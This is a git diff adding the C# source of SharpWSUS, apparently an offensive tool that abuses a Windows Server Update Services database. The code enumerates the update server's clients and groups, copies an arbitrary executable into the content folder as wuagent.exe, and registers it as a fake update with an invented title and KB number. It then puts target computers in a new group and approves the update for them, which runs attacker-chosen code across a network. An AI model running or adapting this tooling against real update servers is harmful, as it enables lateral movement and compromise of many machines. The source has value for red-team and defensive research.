static bool FbDeploymentRevision(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDeployRev = new StringBuilder(); + sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + Create.iRevisionID); + sqlCommFun.CommandText = sbDeployRev.ToString(); + try + { + Console.WriteLine("DeploymentRevision"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeploymentRevision."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareBundle(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbPrepareBund = new StringBuilder(); + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + + sbPrepareBund.AppendLine(@"declare @iImported int"); + sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int"); + sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbPrepareBund.AppendLine(@""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateMSRC + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateKB + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"en"); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateTitle + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateDescription + ""); + sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel."); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID"); + sqlCommFun.CommandText = sbPrepareBund.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + Console.WriteLine("PrepareBundle"); + Console.WriteLine("PrepareBundle Revision ID: {0}", Create.iRevisionID); + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error creating update bundle"); + sqldrReader.Close(); + return false; + } + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareBundle."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs new file mode 100644 index 000000000..214e527b5 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs @@ -0,0 +1,63 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Web; + +public class ClFile +{ + public static string sFileName; + public static string sPayload; + public static string sFilePath; + public static string sArgs; + public static long lSize; + public static string sSHA1; + public static string sSHA256; + + public ClFile(string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile) + { + sFilePath = sPFilePath; + sFileName = System.IO.Path.GetFileName(sFilePath); + sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs)); + if (bPCopyFile == true) + { + FbCopyFile(sFilePath, sContentLocation); + } + lSize = new System.IO.FileInfo(sFilePath).Length; + sSHA1 = GetBase64EncodedSHA1Hash(sFilePath); + sSHA256 = GetBase64EncodedSHA256Hash(sFilePath); + } + public static bool FbCopyFile(string sFilePath, string sContentLocation) + { + try + { + //Console.WriteLine(sFilePath); + //Console.WriteLine(sContentLocation); + File.Copy(sFilePath, sContentLocation + @"\wuagent.exe", true); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCopyFile."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543 + public string GetBase64EncodedSHA1Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA1Managed sha1 = new SHA1Managed(); + { + return Convert.ToBase64String(sha1.ComputeHash(fs)); + } + } + public string GetBase64EncodedSHA256Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA256Managed sha256 = new SHA256Managed(); + { + return Convert.ToBase64String(sha256.ComputeHash(fs)); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs new file mode 100644 index 000000000..17072e026 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs @@ -0,0 +1,30 @@ +using System; + +public class ClGuid +{ + public static Guid gUpdate; + public static Guid gBundle; + public static Guid gTargetGroup; + //public ClGuid() + //{ + // gUpdate = Guid.NewGuid(); + // gBundle = Guid.NewGuid(); + // gTargetGroup = Guid.NewGuid(); + //} + + public static void GenerateUpdateGUID() + { + gUpdate = Guid.NewGuid(); + } + + public static void GenerateBundleGUID() + { + gBundle = Guid.NewGuid(); + } + public static void GenerateTargetGroupGUID() + { + gTargetGroup = Guid.NewGuid(); + } + + +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Connect.cs b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs new file mode 100644 index 000000000..f8d5457b2 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs @@ -0,0 +1,39 @@ +using System; +using System.Data.SqlClient; + +public class Connect +{ + public static SqlConnection FsqlConnection() + { + SqlConnection sqlcQuery = new SqlConnection(); + + if (Server.sDatabaseInstance.Contains("##WID") || Server.sDatabaseInstance.Contains("##SSEE")) + { + if (Server.sOS.Contains("Server 2008")) + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + Server.sDatabaseName + @";Integrated Security=True"; + } + else + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + } + else + { + sqlcQuery.ConnectionString = @"Server=" + Server.sDatabaseInstance + @";Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + + try + { + sqlcQuery.Open(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FsqlConnection."); + + Console.WriteLine($"Error Message: {e.Message}"); + return null; + } + return sqlcQuery; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Enum.cs b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs new file mode 100644 index 000000000..95589bcd6 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs @@ -0,0 +1,135 @@ +using Microsoft.Win32; +using System; +using System.Data.SqlClient; + +public class Enum +{ + public static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spConfiguration"; + try + { + //Gather Information via SQL + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation")); + Server.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber")); + Console.WriteLine("\r\n################# WSUS Server Enumeration via SQL ##################"); + Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation"); + Console.WriteLine("-----------------------------------------------"); + Console.WriteLine("{0}, {1}, {2}\r\n", Environment.MachineName, Server.iPortNumber, Server.sLocalContentCacheLocation); + sqldrReader.Close(); + return true; + } + return false; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumAllComputers(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllComputers"; + try + { + Console.WriteLine("\r\n####################### Computer Enumeration #######################"); + Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumAllComputers."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumDownStream(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllDownstreamServers"; + try + { + Console.WriteLine("\r\n####################### Downstream Server Enumeration #######################"); + Console.WriteLine("ComputerName, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumDownStream."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbEnumGroups(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllTargetGroups"; + try + { + Console.WriteLine("\r\n####################### Group Enumeration #######################"); + Console.WriteLine("GroupName"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}", sqldrReader.GetValue(sqldrReader.GetOrdinal("Name"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumGroups."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetWSUSServer() + { + try + { + const string keyName = @"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate"; + string WSUSServer = (string)Registry.GetValue(keyName, "WUServer", "WSUS Registry Key Not Found!"); + + Console.WriteLine("WSUS Server: {0}", WSUSServer); + + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSServer."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Group.cs b/repos/SharpWSUS/SharpWSUS/lib/Group.cs new file mode 100644 index 000000000..339217595 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Group.cs @@ -0,0 +1,178 @@ +using System; +using System.Data.SqlClient; + +public class Group +{ + public static bool GroupExists = false; + public static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'"; + try + { + Console.WriteLine("\r\nTargeting {0}", sTargetComputer); + Console.WriteLine("TargetComputer, ComputerID, TargetID"); + Console.WriteLine("------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID")); + if (Server.sTargetComputerID.Length != 0) + { + sqldrReader.Close(); + sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + Server.sTargetComputerID + "')"; + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerTargetID = (int)sqldrReader.GetValue(0); + Console.WriteLine("{0}, {1}, {2}", sTargetComputer, Server.sTargetComputerID, Server.sTargetComputerTargetID); + sqldrReader.Close(); + return true; + } + else + { + Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, Server.sTargetComputerID); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + return false; + } + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetComputerTarget."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetGroupID(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spGetAllTargetGroups"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + string TargetGroupName = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("Name")); + if (TargetGroupName == GroupName) + { + ClGuid.gTargetGroup = (Guid)sqldrReader.GetValue(sqldrReader.GetOrdinal("TargetGroupID")); + GroupExists = true; + } + } + } + catch + { + Console.WriteLine("\r\nGroup does not exist already."); + return true; + } + sqldrReader.Close(); + return true; + } + + public static bool FbCreateGroup(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spCreateTargetGroup @name='" + GroupName + "', @id='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Group Created: {0}", GroupName); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCreateGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveGroup(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeleteTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Remove Group"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbAddComputerToGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spAddTargetToTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Added Computer To Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbAddComputerToGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveComputerFromGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spRemoveTargetFromTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Removed Computer From Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveComputerFromGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Reg.cs b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs new file mode 100644 index 000000000..95c4ad547 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs @@ -0,0 +1,86 @@ +using System; +using System.Text; +using System.Runtime.InteropServices; + +public class Reg +{ + public enum RegSAM + { + QueryValue = 0x0001, + SetValue = 0x0002, + CreateSubKey = 0x0004, + EnumerateSubKeys = 0x0008, + Notify = 0x0010, + CreateLink = 0x0020, + WOW64_32Key = 0x0200, + WOW64_64Key = 0x0100, + WOW64_Res = 0x0300, + Read = 0x00020019, + Write = 0x00020006, + Execute = 0x00020019, + AllAccess = 0x000f003f + } + public static class RegHive + { + public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); + public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u); + } + public static class RegistryWOW6432 + { + [DllImport("Advapi32.dll")] + static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult); + + [DllImport("Advapi32.dll")] + static extern uint RegCloseKey(int hKey); + + [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")] + public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData); + + static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName); + } + + static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName); + } + + public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName) + { + //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002; + int hkey = 0; + + try + { + uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey); + if (0 != lResult) + { + return "ERROR_FILE_NOT_FOUND"; + } + uint lpType = 0; + uint lpcbData = 1024; + StringBuilder AgeBuffer = new StringBuilder(1024); + uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData); + if (lResultv != 0) + { + return "ERROR_FILE_NOT_FOUND"; + } + byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString()); + return ByteArrayToString(arr); + } + finally + { + if (0 != hkey) RegCloseKey(hkey); + } + } + public static string ByteArrayToString(byte[] ba) + { + if (BitConverter.IsLittleEndian) + Array.Reverse(ba); + + string hex = BitConverter.ToString(ba); + return hex.Replace("-", ""); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Server.cs b/repos/SharpWSUS/SharpWSUS/lib/Server.cs new file mode 100644 index 000000000..98dd6d3f4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Server.cs @@ -0,0 +1,140 @@ +using System; +using System.Net; + +public class Server +{ + public static bool bWSUSInstalled = true; + public static string sOS; + public static string sDatabaseInstance; + public static string sDatabaseName; + public static string sLocalContentCacheLocation; + public static string sComputerName; + public static int iPortNumber; + public static bool bSSL; + public static string sTargetComputerID; + public static int sTargetComputerTargetID; + + public static void GetServerDetails() + { + FvCheckSSL(); + FvFullComputerName(); + FvOSDetails(); + FvDatabaseBaseName(); + FvContentDirectory(); + } + public static void FvContentDirectory() + { + string sContentDirectoryTemp = string.Empty; + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp); + sContentDirectoryTemp = ReverseString(sContentDirectoryTemp); + sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp); + return; + } + public static void FvFullComputerName() + { + sComputerName = Dns.GetHostEntry("LocalHost").HostName; + } + public static void FvDatabaseBaseName() + { + string sDBServerTemp = string.Empty; + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBServerTemp = HEX2ASCII(sDBServerTemp); + sDatabaseInstance = ReverseString(sDBServerTemp); + + string sDBNameTemp = string.Empty; + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBNameTemp = HEX2ASCII(sDBNameTemp); + sDatabaseName = ReverseString(sDBNameTemp); + return; + } + public static void FvOSDetails() + { + string sOSTemp = string.Empty; + sOSTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + sOSTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect OS version."); + return; + } + } + sOSTemp = HEX2ASCII(sOSTemp); + sOS = ReverseString(sOSTemp); + } + public static void FvCheckSSL() + { + string sSSLTemp = string.Empty; + sSSLTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + sSSLTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + return; + } + } + if (sSSLTemp == "01") + { + bSSL = true; + } + else + { + bSSL = false; + } + } + //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp + public static string HEX2ASCII(string hex) + { + string res = String.Empty; + for (int a = 0; a < hex.Length; a = a + 2) + { + string Char2Convert = hex.Substring(a, 2); + int n = Convert.ToInt32(Char2Convert, 16); + char c = (char)n; + res += c.ToString(); + } + return res; + } + //https://www.dotnetperls.com/reverse-string + public static string ReverseString(string s) + { + char[] arr = s.ToCharArray(); + Array.Reverse(arr); + return new string(arr); + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Status.cs b/repos/SharpWSUS/SharpWSUS/lib/Status.cs new file mode 100644 index 000000000..9b4238611 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Status.cs @@ -0,0 +1,150 @@ +using System; +using System.Data.SqlClient; + +public class Status +{ + public static bool FbApproveUpdate(SqlCommand sqlCommFun, string UpdateID, string Approver) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeployUpdate @updateID='" + UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + ClGuid.gTargetGroup + "',@adminName=N'" + Approver + "',@isAssigned=1,@downloadPriority=1,@failIfReplica=0,@isReplica=0"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("Approved Update"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbApproveUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update declined.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update deleted.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + Console.WriteLine($"Error Message: {e.Message}"); + Console.WriteLine("If you are in a lab and this timed out, this could occur if there are too many old patches in the database causing performance issues."); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbGetUpdateStatus(SqlCommand sqlCommFun, string UpdateID) + { + int LocalUpdateID = 0; + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '" + UpdateID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + LocalUpdateID = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalUpdateID")); + sqldrReader.Close(); + } + else + { + Console.WriteLine("\r\nUpdate ID " + UpdateID + " cannot be found."); + return false; + } + + sqlCommFun.CommandText = @"SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID='" + LocalUpdateID + "' AND TargetID='" + Server.sTargetComputerTargetID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus2."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + int SummarizationState = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("SummarizationState")); + if (SummarizationState == 1) + { + Console.WriteLine("\r\n[*] Update is not needed"); + return true; + } + if (SummarizationState == 2) + { + Console.WriteLine("\r\n[*] Update is not installed"); + return true; + } + if (SummarizationState == 3) + { + Console.WriteLine("\r\n[*] Update is downloaded"); + return true; + } + if (SummarizationState == 4) + { + Console.WriteLine("\r\n[*] Update is installed"); + return true; + } + if (SummarizationState == 5) + { + Console.WriteLine("\r\n[*] Update failed"); + return true; + } + if (SummarizationState == 6) + { + Console.WriteLine("\r\n[*] Reboot Required"); + return true; + } + else + { + Console.WriteLine("\r\n[*] Update Info was found but state is unknown"); + return true; + } + } + else + { + Console.WriteLine("\r\nUpdate Info cannot be found."); + } + + sqldrReader.Close(); + return true; + } +}